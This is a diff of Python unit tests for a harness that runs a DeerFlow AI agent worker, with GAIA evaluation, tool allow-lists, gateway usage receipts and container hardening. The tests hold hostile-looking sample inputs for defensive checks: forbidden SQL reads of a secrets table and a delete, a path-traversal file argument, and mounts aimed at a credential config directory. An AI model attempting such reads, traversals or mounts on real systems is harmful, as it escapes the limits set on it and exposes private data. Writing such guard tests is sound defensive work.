invocations[-1]) + exit_code = 2 + with self.assertRaises(ValueError): + runner.run_worker("unchanged question", "frozen", 2) + malformed = True + with self.assertRaises(ValueError): + runner.run_worker("unchanged question", "frozen", 3) + runs = list((state / "runs").iterdir()) + self.assertEqual(len(runs), 3) + self.assertEqual({json.loads((r / "window.json").read_text())["framework_exit_code"] for r in runs}, {0, 2}) + self.assertTrue(all((r / "receipt.json").is_file() for r in runs)) + + def test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets(self): + runner = module("deerflow_attempt", RECIPE / "e2e/run.py") + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + state, prefix, run = root / "state", root / "prefix", root / "run" + (state / "config").mkdir(parents=True) + for file in ("config.yaml", "extensions_config.json"): + (state / "config" / file).write_text("{}") + (state / "qmd-seed").mkdir() + (state / "qmd-seed" / "snapshot.json").write_text("{}") + run.mkdir() + settings = {"variables":{}, "mcp_mounts":[]} + pins = json.loads((RECIPE / "pins.json").read_text()) + arm = {"arm":"engines-on", "model":"sharedgw/gpt-6-astra-max", "base_url":"http://10.0.2.2:20129/v1"} + compose = runner.attempt_compose(settings, pins, prefix, state, run, "aabbcc", arm) + self.assertEqual(compose["name"], "rw-deerflow-e2e-aabbcc") + self.assertEqual(set(compose["services"]), {"gateway", "egress"}) + svc = compose["services"]["gateway"] + self.assertNotIn("env_file", svc) + self.assertNotIn("depends_on", svc) + self.assertEqual(svc["environment"]["DEERFLOW_BASE_URL"], arm["base_url"]) + self.assertEqual(svc["environment"]["RUNTIME_WORKER_ARM"], "engines-on") + self.assertEqual(svc["environment"]["DEER_FLOW_STREAM_BRIDGE_REDIS_URL"], "") + for volume in svc["volumes"]: + if not volume.get("read_only", False): + self.assertTrue(Path(volume["source"]).is_relative_to(run)) + self.assertNotIn("private.env", str(volume)) + self.assertNotIn("redis-password", str(volume)) + self.assertTrue((run / "data/mcp/qmd/snapshot.json").is_file()) + self.assertTrue(all(n["name"].startswith(compose["name"]) for n in compose["networks"].values())) + + def test_gateway_reader_is_read_only_and_uses_only_approved_columns(self): + receipt = module("deerflow_receipt", RECIPE / "e2e/receipt.py") + with tempfile.TemporaryDirectory() as tmp: + db = Path(tmp) / "gateway.sqlite" + with closing(sqlite3.connect(db)) as conn, conn: + conn.execute("CREATE TABLE call_logs (timestamp, path, status, model, reasoning_effort_requested, reasoning_effort_upstream, tokens_in, tokens_cache_read, tokens_reasoning, private_payload, correlation_id)") + conn.execute("CREATE TABLE secrets (value)") + conn.execute("INSERT INTO call_logs VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + (1000, "/v1/responses", 200, "cx/gpt-6-astra-max", None, "max", 100, 60, 9, "must-never-be-read", "one")) + conn.execute("INSERT INTO call_logs VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + (5000, "/v1/responses", 200, "cx/gpt-6-astra-max", None, "max", 1, 0, 0, "outside-window", "two")) + for stamp in ("1000", "1000.5", "1970-01-01T00:16:40Z"): + conn.execute("INSERT INTO call_logs VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + (stamp, "/v1/responses", 200, "cx/gpt-6-astra-max", None, "max", 100, 60, 9, "must-never-be-read", stamp)) + before = db.read_bytes() + rows = receipt.gateway_rows(db, 999, 1001) + self.assertEqual(len(rows), 4) + self.assertEqual(set(rows[0]), set(receipt.COLUMNS) - {"correlation_id"}) + self.assertEqual(rows[0]["tokens_cache_read"], 60) + self.assertEqual(db.read_bytes(), before) + with closing(sqlite3.connect(db.as_uri() + "?mode=ro", uri=True)) as conn: + conn.set_authorizer(receipt.sql_authorizer) + for forbidden in ("SELECT private_payload FROM call_logs", "SELECT value FROM secrets", "DELETE FROM call_logs"): + with self.assertRaises(sqlite3.DatabaseError): + conn.execute(forbidden) + + def test_native_trace_does_not_count_failed_children_as_completed(self): + receipt = module("deerflow_trace", RECIPE / "e2e/receipt.py") + events = [ + {"type": "values", "data": {"messages": [ + {"type": "ai", "tool_calls": [ + {"name": "task", "id": "private-one", "args": {}}, + {"name": "task", "id": "private-two", "args": {}}, + {"name": "task", "id": "private-failure", "args": {}}, + {"name": "task", "id": "private-timeout", "args": {}}, + {"name": "read_file", "id": "private-three", "args": {"path": "/mnt/skills/legacy/search-first/SKILL.md"}}]}, + {"type": "tool", "tool_call_id": "private-one", "content": "Task Failed: native child error", "additional_kwargs": {"subagent_status": "failed"}}, + {"type": "tool", "tool_call_id": "private-two", "content": "Task completed", "additional_kwargs": {"subagent_status": "completed"}}, + {"type": "tool", "tool_call_id": "private-failure", "content": "Error: native child error", "additional_kwargs": {"subagent_status": "failed"}}, + {"type": "tool", "tool_call_id": "private-timeout", "content": "", "additional_kwargs": {"subagent_status": "polling_timed_out"}}, + {"type": "tool", "tool_call_id": "private-three", "content": "---\nname: search-first\n---\nactual skill instructions"}]}}, + {"type": "messages-tuple", "data": {"type": "tool", "tool_call_id": "private-two", "content": "Task completed"}}, + ] + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "events.jsonl" + path.write_text("\n".join(json.dumps(x) for x in events)) + found = receipt.observations(path) + self.assertEqual(found["completed_tasks_observed"], 1) + self.assertEqual(found["failed_tasks_observed"], 3) + self.assertEqual(found["task_results_observed"], 4) + self.assertEqual(found["skill_reads_observed"], ["search-first"]) + self.assertNotIn("private-", json.dumps(found)) + + def test_native_trace_distinguishes_skill_inventory_metadata_and_loads(self): + receipt = module("deerflow_skill_trace", RECIPE / "e2e/receipt.py") + events = [ + {"type": "worker-skills", "data": {"names": ["search-first", "verification-before-completion"]}}, + {"type": "values", "data": {"messages": [ + {"type": "ai", "tool_calls": [ + {"name": "describe_skill", "id": "metadata", "args": {"name": "verification-before-completion"}}, + {"name": "read_file", "id": "loaded", "args": {"path": "/mnt/skills/legacy/search-first/SKILL.md"}}, + {"name": "read_file", "id": "failed", "args": {"path": "/mnt/skills/legacy/verification-before-completion/SKILL.md"}}]}, + {"type": "tool", "tool_call_id": "metadata", "content": "Skill metadata and path"}, + {"type": "tool", "tool_call_id": "loaded", "content": "---\nname: search-first\n---\nActual instructions"}, + {"type": "tool", "tool_call_id": "failed", "content": "The requested SKILL.md could not be opened\nname: verification-before-completion\n"}]}}, + ] + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "events.jsonl" + path.write_text("\n".join(json.dumps(x) for x in events)) + found = receipt.observations(path) + self.assertEqual(found["skills_listed_at_start"], ["search-first", "verification-before-completion"]) + self.assertEqual(found["skill_reads_observed"], ["search-first"]) + self.assertFalse(found["required_skills_activated"]) + + def test_round3_usage_correlates_entry_gateway_once_and_separates_effort(self): + receipt = module("deerflow_usage", RECIPE / "e2e/receipt.py") + with tempfile.TemporaryDirectory() as tmp: + db = Path(tmp) / "entry.sqlite" + with closing(sqlite3.connect(db)) as conn, conn: + conn.execute("CREATE TABLE call_logs (timestamp, path, status, model, reasoning_effort_requested, reasoning_effort_upstream, tokens_in, tokens_cache_read, tokens_reasoning, correlation_id)") + conn.executemany("INSERT INTO call_logs VALUES (?,?,?,?,?,?,?,?,?,?)", [ + (1000, "/v1/responses", 200, "sharedgw/gpt-6-astra-max", "max", "max", 100, 60, 9, "private-a"), + (1001, "/v1/responses", 200, "gpt-6-astra-max", None, None, 50, 10, 0, "private-b"), + (1001, "/v1/responses", 200, "gpt-6-astra-max", "max", "max", 999, 0, 3, "unrelated"), + (1001, "/other", 200, "gpt-6-astra-max", "max", "max", 999, 0, 3, "private-a"), + (1001, "/v1/responses", 200, "gpt-6-sol-max", "max", "max", 999, 0, 3, "private-a"), + ]) + result = receipt.gateway_observation(db, {"start_epoch":999, "end_epoch":1002, + "model":"sharedgw/gpt-6-astra-max", "arm":"engines-on"}, {"private-a", "private-b"}) + self.assertEqual(len(result["rows"]), 2) + self.assertEqual(result["usage_total"]["tokens_in"], 150) + self.assertEqual(result["effort"]["with_reasoning_max"], 1) + self.assertEqual(result["effort"]["no_returned_reasoning"], 1) + self.assertNotIn("private-", json.dumps(result)) + self.assertNotIn("correlation_id", json.dumps(result["rows"])) + fallback = receipt.gateway_observation(db, {"start_epoch":999, "end_epoch":1002, + "model":"sharedgw/gpt-6-astra-max", "arm":"engines-on"}, set()) + self.assertEqual(len(fallback["rows"]), 3) + self.assertIsNone(fallback["usage_total"]) + self.assertIn("time window + model + path", fallback["scope"]) + + def test_model_context_and_container_contract(self): + config = json.loads((RECIPE / "config.yaml.template").read_text()) + model = config["models"][0] + self.assertEqual(model["base_url"], "$DEERFLOW_BASE_URL") + self.assertEqual(model["model"], "$DEERFLOW_MODEL") + self.assertEqual(json.loads((RECIPE / "defaults.json").read_text())["model"], "cx/gpt-6-astra-max") + self.assertEqual(model["api_key"], "local-loopback") + self.assertTrue(model["use_responses_api"]) + self.assertTrue(model["streaming"]) + self.assertNotIn("temperature", model) + self.assertNotIn("reasoning_effort", model) + self.assertEqual(config["sandbox"]["bash_command_timeout"], 120) + self.assertNotIn("bash_timeout", config["sandbox"]) + self.assertNotIn("tracing", config) + self.assertEqual(config["database"], {"backend": "sqlite", "sqlite_dir": "$DEERFLOW_SQLITE_DIR"}) + for feature in ("summarization", "tool_output", "token_budget", "tool_search"): + self.assertTrue(config[feature]["enabled"], feature) + compose = json.loads((RECIPE / "compose.json.template").read_text()) + self.assertEqual(compose["services"]["gateway"]["environment"]["DEERFLOW_SQLITE_DIR"], "/state/deerflow/data") + self.assertEqual(compose["services"]["nginx"]["ports"], ["127.0.0.1:3771:2026"]) + for name, service in compose["services"].items(): + if name != "nginx": + self.assertNotIn("ports", service) + self.assertNotIn("docker.sock", json.dumps(compose)) + self.assertEqual(compose["services"]["redis"]["entrypoint"], ["/runtime/redis-start.sh"]) + self.assertIn("-h", compose["services"]["redis"]["healthcheck"]["test"][1]) + + def test_tool_limits_are_enforced_not_only_described(self): + policy = module("deerflow_worker_policy", RECIPE / "runtime/worker_policy.py") + for tool in ("context-mode_ctx_upgrade", "context-mode_ctx_purge", "ai-memory_memory_write", "socraticode_codebase_index", "jcodemunch_index_folder", "headroom_headroom_compress"): + self.assertFalse(policy.tool_allowed(tool), tool) + for tool in ("context-mode_ctx_execute", "serena_find_symbol", "jcodemunch_route", "jcodemunch_menu", "jcodemunch_order"): + self.assertTrue(policy.tool_allowed(tool), tool) + limits = json.loads((RECIPE / "runtime/tool-policy.json").read_text()) + self.assertEqual(limits["servers"]["ai-memory"]["allow"], ["memory_query", "memory_read_page", "memory_recent", "memory_status", "memory_briefing"]) + self.assertEqual(limits["servers"]["socraticode"]["allow"], ["codebase_search", "codebase_status", "codebase_list_projects", "codebase_health"]) + self.assertEqual(set(limits["qmd_collections"]), {"foundation-docs", "foundation-adoption", "us-equities-foundation", "us-equities-catalog"}) + self.assertFalse(policy.arguments_allowed("qmd_query", {})) + self.assertFalse(policy.arguments_allowed("qmd_query", {"collections": ["private"]})) + self.assertTrue(policy.arguments_allowed("qmd_query", {"collections": ["foundation-docs"], "searches": [{"type": "lex", "query": "workers"}], "rerank": False})) + self.assertFalse(policy.arguments_allowed("qmd_query", {"collections": ["foundation-docs"], "query": "expand me"})) + self.assertFalse(policy.arguments_allowed("qmd_get", {"file": "#abc123"})) + self.assertFalse(policy.arguments_allowed("qmd_get", {"file": "qmd://foundation-docs/../private/a.md"})) + ext = json.loads((RECIPE / "extensions_config.json.template").read_text()) + self.assertEqual(ext["mcpServers"]["socraticode"]["env"]["SOCRATICODE_WATCHER"], "manual") + self.assertEqual(ext["mcpServers"]["context-mode"]["env"]["CONTEXT_MODE_PROJECT_DIR"], "/work") + + def test_gateway_headers_preserve_affinity_and_new_call_identity(self): + headers = module("deerflow_worker_headers", RECIPE / "runtime/gateway_headers.py") + one = headers.call_headers("conversation-a") + two = headers.call_headers("conversation-a") + self.assertEqual(one["x-omniroute-session"], two["x-omniroute-session"]) + self.assertNotEqual(one["Idempotency-Key"], two["Idempotency-Key"]) + self.assertNotEqual(one["x-omniroute-session"], headers.call_headers("conversation-b")["x-omniroute-session"]) + with patch.dict("os.environ", {"DEERFLOW_CONVERSATION_ID": "gaia-conversation"}): + lead = headers.call_headers("lead-thread") + child = headers.call_headers("child-thread") + self.assertEqual(lead["x-omniroute-session"], child["x-omniroute-session"]) + + def test_gateway_structured_output_uses_upstream_tool_calling(self): + # External-client double tests only our adapter seam, not LangChain itself. + class NativeClient: + def with_structured_output(self, schema, **kwargs): + return schema, kwargs + + def _get_request_payload(self, input_, **kwargs): + return copy.deepcopy(input_) + + headers = module("worker_headers", RECIPE / "runtime/gateway_headers.py") + with patch.dict(sys.modules, { + "langchain_openai": types.SimpleNamespace(ChatOpenAI=NativeClient), + "langgraph.config": types.SimpleNamespace(get_config=lambda: {"configurable": {"thread_id": "conversation"}}), + "gateway_headers": headers, + }): + extension = module("worker_model", RECIPE / "runtime/gateway_model.py") + client = extension.ChatOpenAI() + schema = {"title": "Answer", "type": "object", "properties": {"answer": {"type": "string"}}} + for requested in ({}, {"method": "json_mode"}, {"method": "json_schema", "strict": True}): + returned, args = client.with_structured_output(schema, include_raw=True, **requested) + self.assertEqual(returned, schema) + self.assertEqual(args["method"], "function_calling") + self.assertFalse(args["strict"]) + self.assertTrue(args["include_raw"]) + payload = {"input": [], "temperature": 0.0, "extra_headers": {"custom": "preserved"}} + one, two = client._get_request_payload(payload), client._get_request_payload(payload) + self.assertNotIn("temperature", one) + self.assertEqual(one["reasoning"]["effort"], "max") + self.assertEqual(one["extra_headers"]["custom"], "preserved") + self.assertEqual(one["extra_headers"]["x-omniroute-session"], two["extra_headers"]["x-omniroute-session"]) + self.assertNotEqual(one["extra_headers"]["Idempotency-Key"], two["extra_headers"]["Idempotency-Key"]) + for raw in ({"response_format": {"type": "json_object"}}, + {"text": {"format": {"type": "json_schema"}}}): + with self.assertRaises(ValueError): + client._get_request_payload(raw) + + def test_gateway_rejects_non_gpt6_model_routes(self): + renderer = module("deerflow_route", RECIPE / "recipe.py") + self.assertEqual(renderer.worker_model({}), "cx/gpt-6-astra-max") + self.assertEqual(renderer.worker_model({"model": "cx/gpt-6-sol-max"}), "cx/gpt-6-sol-max") + for model in ("claude-opus-5-5", "cx/claude-opus-5-5", "cx/gpt-next-max", "gpt-6", + "cx/gpt-6-unknown-max", "cx/gpt-6.1-sol-unknown", "cx/gpt-6-sol-medium"): + with self.assertRaises(ValueError): + renderer.worker_model({"model": model}) + + def test_round3_arms_render_endpoint_model_and_only_selected_header(self): + renderer = module("deerflow_arms", RECIPE / "recipe.py") + headers = module("deerflow_arm_headers", RECIPE / "runtime/gateway_headers.py") + + class NativeClient: + def _get_request_payload(self, input_, **kwargs): + return copy.deepcopy(input_) + + with patch.dict(sys.modules, { + "langchain_openai": types.SimpleNamespace(ChatOpenAI=NativeClient), + "langgraph.config": types.SimpleNamespace(get_config=lambda: {"configurable": {"thread_id": "conversation"}}), + "gateway_headers": headers, + }): + extension = module("deerflow_arm_model", RECIPE / "runtime/gateway_model.py") + for arm, model, port, override in (("control", "cx/gpt-6-astra-max", 20128, ""), + ("engines-on", "sharedgw/gpt-6-astra-max", 20129, ""), + ("control", "cx/gpt-6.1-sol", 20128, "cx/gpt-6.1-sol"), + ("control", "cx/gpt-6.1-sol-max", 20128, "cx/gpt-6.1-sol-max")): + with self.subTest(arm=arm, model=model), patch.dict("os.environ", { + "RUNTIME_WORKER_ARM": arm, "DEERFLOW_CONTROL_MODEL": override, + }): + selection = renderer.arm_settings({}) + self.assertEqual(selection["arm"], arm) + self.assertEqual(selection["model"], model) + self.assertEqual(selection["base_url"], f"http://10.0.2.2:{port}/v1") + self.assertEqual(selection["host_base_url"], f"http://127.0.0.1:{port}/v1") + self.assertEqual(selection["reasoning_effort"], "max") + actual = headers.call_headers("same-thread") + self.assertNotIn("X-OmniRoute-No-Cache", actual) + self.assertEqual(actual.get("x-omniroute-compression"), + "allow-lossy" if arm == "engines-on" else None) + self.assertEqual(selection["header_names"], sorted(actual)) + with tempfile.TemporaryDirectory() as tmp: + settings = {"variables":{"ECO_ROOT":"/opt/eco", "HOST_PATH":"/usr/bin", "QDRANT_URL":"10.0.2.2:16333", "EMBED_URL":"10.0.2.2:18232"}, "mcp_mounts":[], "session_namespace":"fixture"} + compose = renderer.render(settings, Path(tmp) / "prefix", Path(tmp) / "state") + labels = compose["services"]["gateway"]["labels"] + self.assertEqual(labels["com.native-agent-stack.arm"], arm) + self.assertEqual(labels["com.native-agent-stack.model"], model) + environment = compose["services"]["gateway"]["environment"] + self.assertEqual(environment["DEERFLOW_MODEL"], model) + outgoing = extension.ChatOpenAI()._get_request_payload({ + "model": environment["DEERFLOW_MODEL"], "input": [], "temperature": 0.0, + }) + self.assertEqual(outgoing["model"], model) + self.assertEqual(outgoing["reasoning"], {"effort": "max"}) + self.assertNotIn("temperature", outgoing) + self.assertEqual(outgoing["extra_headers"].get("x-omniroute-compression"), + "allow-lossy" if arm == "engines-on" else None) + self.assertEqual(renderer.worker_model({"model": "sharedgw/gpt-6-astra-max"}), + "sharedgw/gpt-6-astra-max") + for value in ("sharedgw/cx/gpt-6-astra-max", "sharedgw/gpt-6-sol-max"): + with self.assertRaises(ValueError): + renderer.worker_model({"model": value}) + with self.assertRaises(ValueError): + renderer.arm_settings({}, "invalid") + with self.assertRaises(ValueError): + renderer.arm_settings({"model": "sharedgw/gpt-6-astra-max"}, "control") + + + def test_skills_use_coordinator_project_installer(self): + renderer = module("deerflow_skills", RECIPE / "recipe.py") + with tempfile.TemporaryDirectory() as tmp, patch.object(renderer.subprocess, "run") as run: + workspace = Path(tmp) / "worker" + renderer.install_skills(workspace) + run.assert_called_once() + self.assertEqual(run.call_args.args[0], [ + sys.executable, str(ROOT / "tools/adoption/install_skills.py"), + "--manifest", str(ROOT / "blueprints/runtime-workers/skills/manifest.json"), + "--project-dir", str(workspace), "--agent", "universal", + ]) + self.assertTrue(run.call_args.kwargs["check"]) + source = (RECIPE / "recipe.py").read_text() + self.assertNotIn('skills_root', source) + self.assertNotIn('symlink_to', source) + self.assertIn('mount(state / "work/.agents/skills", "/skills/custom")', source) + + def test_grader_install_and_launch_use_exact_upstream_pins(self): + renderer = module("deerflow_grader_install", RECIPE / "recipe.py") + with tempfile.TemporaryDirectory() as tmp, patch.object(renderer.subprocess, "run") as run, \ + patch.object(renderer, "sys", LOCK_TARGET_PYTHON): + prefix = Path(tmp) + renderer.install_grader(prefix) + commands = [c.args[0] for c in run.call_args_list] + self.assertIn([sys.executable, "-m", "venv", str(prefix / "grader")], commands) + self.assertTrue(any(c[:4] == [str(prefix / "grader/bin/python"), "-m", "pip", "install"] for c in commands)) + requirements = (RECIPE / "e2e/requirements.txt").read_text() + self.assertIn("inspect-evals[gaia]==0.22.0", requirements) + self.assertIn("inspect-ai==0.3.271", requirements) + launch = (RECIPE / "run-e2e.sh").read_text() + (RECIPE / "e2e/evaluate.py").read_text() + self.assertIn("grader/bin/inspect", launch) + self.assertIn("gaia.py@deerflow_gaia", launch) + self.assertIn('"--max-samples", "1"', launch) + self.assertNotIn("check.py", launch) + + def test_round3_inspect_launch_has_no_model_and_publishes_stable_result(self): + supervisor = module("deerflow_eval_supervisor", RECIPE / "e2e/evaluate.py") + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + state, prefix = root / "state", root / "prefix" + state.mkdir() + (state / "host.json").write_text("{}") + def inspect(command, **kwargs): + self.assertEqual(command[command.index("--model") + 1], "none") + self.assertNotIn("--model-base-url", command) + self.assertEqual(command[command.index("--log-format") + 1], "json") + run = state / "runs/frozen-run" + self.assertTrue((run / "status.json").is_file()) + logdir = Path(command[command.index("--log-dir") + 1]) + logdir.mkdir(exist_ok=True) + (logdir / "native.json").write_text(json.dumps({"status":"success", + "results":{"total_samples":1, "completed_samples":1, + "scores":[{"name":"gaia_scorer", "metrics":{"accuracy":{"value":0}}}]}})) + return subprocess.CompletedProcess(command, 0) + with patch.object(supervisor, "STATE", state), patch.object(supervisor, "PREFIX", prefix), \ + patch.object(supervisor.subprocess, "run", inspect): + self.assertEqual(supervisor.evaluate("gaia-id", "frozen-run", "control", 1), 1) + result = json.loads((state / "runs/frozen-run/result.json").read_text()) + self.assertEqual(result["verdict"], "negative") + self.assertEqual(result["inspect_exit_code"], 0) + self.assertTrue(Path(result["inspect_log"]).is_file()) + self.assertEqual(result["arm"], "control") + + def test_round3_inspect_verdict_rejects_incomplete_evidence(self): + supervisor = module("deerflow_eval_verdict", RECIPE / "e2e/evaluate.py") + success = {"status":"success", "results":{"total_samples":1,"completed_samples":1, + "scores":[{"name":"gaia_scorer", "metrics":{"accuracy":{"value":1}}}]}} + self.assertEqual(supervisor.verdict(success, False), (3, "incomplete")) + self.assertEqual(supervisor.verdict(success, True), (0, "pass")) + for missing in ({}, {"status":"error"}, {"status":"success", "results":{"scores":[]}}): + self.assertEqual(supervisor.verdict(missing, True), (3, "incomplete")) + + def test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths(self): + dispatch = module("deerflow_dispatch", RECIPE / "dispatch.py") + with tempfile.TemporaryDirectory() as tmp: + state = Path(tmp) + (state / "host.json").write_text("{}") + requests = [] + status = "running" + def api(method, path, body=None, headers=None): + requests.append((method,path,body,headers)) + if path == "/threads": + self.assertTrue((state / "dispatch/stable/status.json").exists()) + return {"thread_id":"native-thread"}, "trace-thread" + if method == "POST" and path.endswith("/runs"): + return {"thread_id":"native-thread", "run_id":"native-run", "status":"pending"}, "trace-run" + if path.endswith("/messages?limit=200"): + # Native RunEvent envelope, journal.py:13,124,153-173. + return {"data":[{"seq":1,"category":"message", "event_type":"llm.ai.response", + "metadata":{"caller":"lead_agent"}, "content":{"type":"ai", + "content":[{"type":"text","text":"answer"}], + "response_metadata":{"headers":{"x-correlation-id":"private-correlation"}}}}], "has_more":False}, "trace-result" + if path.endswith("/cancel"): + return {}, "trace-cancel" + return {"status":status,"llm_call_count":1,"total_input_tokens":12, + "total_output_tokens":4,"total_tokens":16,"message_count":2,"stop_reason":"completed","updated_at":"2026-09-27T00:00:00Z"}, "trace-wait" + with patch.object(dispatch, "STATE", state), patch.object(dispatch, "api", api), \ + patch.object(dispatch, "require_server_arm"), \ + patch.object(dispatch, "gateway_observation", return_value={"evidence_complete":True,"usage_total":{"tokens_in":12}}): + code, pointers = dispatch.start("stable", "control", "question", "pro", "workflow/stage") + self.assertEqual(code, 0) + self.assertEqual(Path(pointers["result_path"]), state / "dispatch/stable/result.json") + post = requests[1] + self.assertEqual(post[0:2], ("POST", "/threads/native-thread/runs")) + self.assertEqual(post[2]["context"], {"thinking_enabled":True,"is_plan_mode":True, + "subagent_enabled":False,"thread_id":"native-thread","model_name":"worker"}) + self.assertEqual(post[2]["on_disconnect"], "continue") + self.assertEqual(post[2]["metadata"]["caller"], "workflow/stage") + self.assertIn("Idempotency-Key", post[3]) + self.assertEqual(dispatch.wait_run("stable", "control", 0, 1)[0], 3) + status = "success" + wait_code, waited = dispatch.wait_run("stable", "control", 0, 1) + self.assertEqual(wait_code, 0) + self.assertEqual(waited["stop_reason"], "completed") + code, result = dispatch.result_run("stable", "control") + self.assertEqual(code, 0) + self.assertEqual(result["answer"], "answer") + receipt = json.loads((state / "dispatch/stable/receipt.json").read_text()) + self.assertNotIn("private-correlation", json.dumps(receipt)) + self.assertNotIn("native-run", json.dumps(receipt)) + self.assertEqual(receipt["server_reported"]["llm_call_count"], 1) + with self.assertRaises(ValueError): + dispatch.start("stable", "control", "another", "pro", "workflow/stage") + with self.assertRaises(ValueError): + dispatch.result_run("stable", "engines-on") + ledger = (state / "dispatch.jsonl").read_text().splitlines() + self.assertEqual(len(ledger), 1) + self.assertEqual((state / "dispatch.jsonl").stat().st_mode & 0o777, 0o600) + + def test_round3_dispatch_reports_negative_setup_and_missing_evidence(self): + dispatch = module("deerflow_dispatch_failures", RECIPE / "dispatch.py") + with tempfile.TemporaryDirectory() as tmp: + state = Path(tmp) + (state / "host.json").write_text("{}") + with patch.object(dispatch, "STATE", state), patch.object(dispatch, "require_server_arm", side_effect=ValueError("wrong arm")): + code, value = dispatch.start("wrong-arm", "engines-on", "question", "ultra", "child") + self.assertEqual(code, 2) + self.assertTrue((state / "dispatch/wrong-arm/status.json").is_file()) + with patch.object(dispatch, "STATE", state): + run = state / "dispatch/negative" + run.mkdir() + dispatch.write(run / "status.json", {"arm":"control", "thread_id":"t", "run_id":"r", "status":"running"}) + with patch.object(dispatch, "api", return_value=({"status":"error"}, "trace")): + self.assertEqual(dispatch.wait_run("negative", "control", 0, 1)[0], 1) + with patch.object(dispatch, "api", return_value=({"status":"interrupted"}, "trace")): + self.assertEqual(dispatch.wait_run("negative", "control", 0, 1)[0], 3) + + def test_round3_compression_deltas_are_separate_and_reject_counter_resets(self): + receipt = module("deerflow_compression", RECIPE / "e2e/receipt.py") + before = {"state":"observed", "totalRequests":5,"totalTokensSaved":100,"totalSkipped":2} + after = {"state":"observed", "totalRequests":7,"totalTokensSaved":140,"totalSkipped":3} + delta = receipt.compression_delta(before, after) + self.assertEqual(delta["delta"], {"totalRequests":2,"totalTokensSaved":40,"totalSkipped":1}) + self.assertIn("not provider usage", delta["scope"]) + self.assertIsNone(receipt.compression_delta(after, before)["delta"]) + with patch.object(receipt, "urlopen", side_effect=AssertionError("control must not request analytics")): + self.assertEqual(receipt.compression_snapshot("control")["state"], "not_applicable") + + def test_round3_grader_install_is_hash_locked_and_wheel_only(self): + renderer = module("deerflow_locked_grader", RECIPE / "recipe.py") + import hashlib + lock = RECIPE / "e2e/requirements.lock" + pins = json.loads((RECIPE / "pins.json").read_text()) + self.assertEqual(hashlib.sha256(lock.read_bytes()).hexdigest(), pins["grader"]["lock_sha256"]) + for requirement in lock.read_text().replace("\\\n", "").splitlines(): + if requirement.strip() and not requirement.lstrip().startswith("#"): + self.assertRegex(requirement, r"==[^ ]+.*--hash=sha256:[0-9a-f]{64}") + with tempfile.TemporaryDirectory() as tmp, patch.object(renderer.subprocess, "run") as run, \ + patch.object(renderer, "sys", LOCK_TARGET_PYTHON): + renderer.install_grader(Path(tmp)) + install = next(c.args[0] for c in run.call_args_list if "install" in c.args[0]) + for arg in ("--require-hashes", "--only-binary=:all:", "--no-deps"): + self.assertIn(arg, install) + self.assertEqual(install[-1], str(lock)) + + def test_grader_install_refuses_an_interpreter_the_lock_does_not_target(self): + renderer = module("deerflow_grader_guard", RECIPE / "recipe.py") + other = types.SimpleNamespace(executable=sys.executable, version_info=(3, 12, 3, "final", 0)) + with tempfile.TemporaryDirectory() as tmp, patch.object(renderer.subprocess, "run") as run, \ + patch.object(renderer, "sys", other): + with self.assertRaisesRegex(ValueError, "CPython 3.13"): + renderer.install_grader(Path(tmp)) + run.assert_not_called() + + def test_round3_container_network_hardening_and_resolved_mount_guards(self): + renderer = module("deerflow_security", RECIPE / "recipe.py") + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + settings = {"variables": {"ECO_ROOT": str(root / "eco"), "HOST_PATH": "/usr/bin", + "QDRANT_URL": "10.0.2.2:16333", "EMBED_URL": "10.0.2.2:18232"}, + "mcp_mounts": [], "session_namespace": "fixture"} + compose = renderer.render(settings, root / "prefix", root / "state") + self.assertTrue(compose["networks"]["default"]["internal"]) + self.assertEqual(compose["services"]["gateway"]["networks"], ["default"]) + self.assertEqual(set(compose["services"]["egress"]["networks"]), {"default", "egress"}) + for service in compose["services"].values(): + self.assertEqual(service["cap_drop"], ["ALL"]) + self.assertIn("no-new-privileges:true", service["security_opt"]) + self.assertTrue(service["read_only"]) + proxy = (root / "state/config/egress.conf").read_text() + self.assertIn("http://10.0.2.2:20128", proxy) + self.assertNotIn("20129", proxy) + self.assertIn("return 403", proxy) + self.assertIn("$upstream_http_x_correlation_id", proxy) + self.assertIn("proxy_buffering off", proxy) + ext = json.loads((root / "state/config/extensions_config.json").read_text())["mcpServers"] + self.assertFalse(ext["ai-memory"]["enabled"]) + self.assertFalse(ext["socraticode"]["enabled"]) + self.assertEqual(ext["serena"]["args"][ext["serena"]["args"].index("--enable-web-dashboard") + 1], "false") + home = root / "home" + forbidden = home / ".config/native-agent-stack" + forbidden.mkdir(parents=True) + allowed = root / "eco/bin" + allowed.parent.mkdir() + allowed.symlink_to(forbidden, target_is_directory=True) + with patch.object(renderer.Path, "home", return_value=home): + for source in (home.parent, home / ".config", forbidden, allowed): + settings["mcp_mounts"] = [{"source":str(source), "target":str(source), "read_only":True}] + with self.assertRaises(ValueError): + renderer.render(settings, root / "prefix", root / "state") + self.assertIn("requirepass", (RECIPE / "runtime/redis-start.sh").read_text()) + + def test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm(self): + renderer = module("deerflow_lifecycle_arm", RECIPE / "recipe.py") + with tempfile.TemporaryDirectory() as tmp: + root = Path(tmp) + state = root / "state" + state.mkdir() + (state / "host.json").write_text("{}") + run = state / "dispatch/active" + run.mkdir(parents=True) + (run / "status.json").write_text('{"status":"running"}') + with patch.object(renderer, "STATE", state), patch.object(renderer, "PREFIX", root / "prefix"), \ + patch.object(renderer, "require_rootless"), patch.object(renderer, "render") as render, \ + patch.object(renderer, "docker") as docker: + with self.assertRaises(ValueError): + renderer.lifecycle("up") + docker.assert_not_called() + (run / "status.json").write_text('{"status":"success"}') + renderer.lifecycle("up") + render.assert_called_once() + self.assertIn("--force-recreate", docker.call_args.args) + template = json.loads((RECIPE / "config.yaml.template").read_text()) + self.assertTrue(template["models"][0]["include_response_headers"]) + self.assertEqual(template["models"][0]["openai_proxy"], "http://egress:3128") + + def test_round3_nginx_and_preflight_match_hardened_configuration(self): + compose = json.loads((RECIPE / "compose.json.template").read_text()) + self.assertFalse(any(m.startswith("/etc/nginx:") for m in compose["services"]["nginx"]["tmpfs"])) + 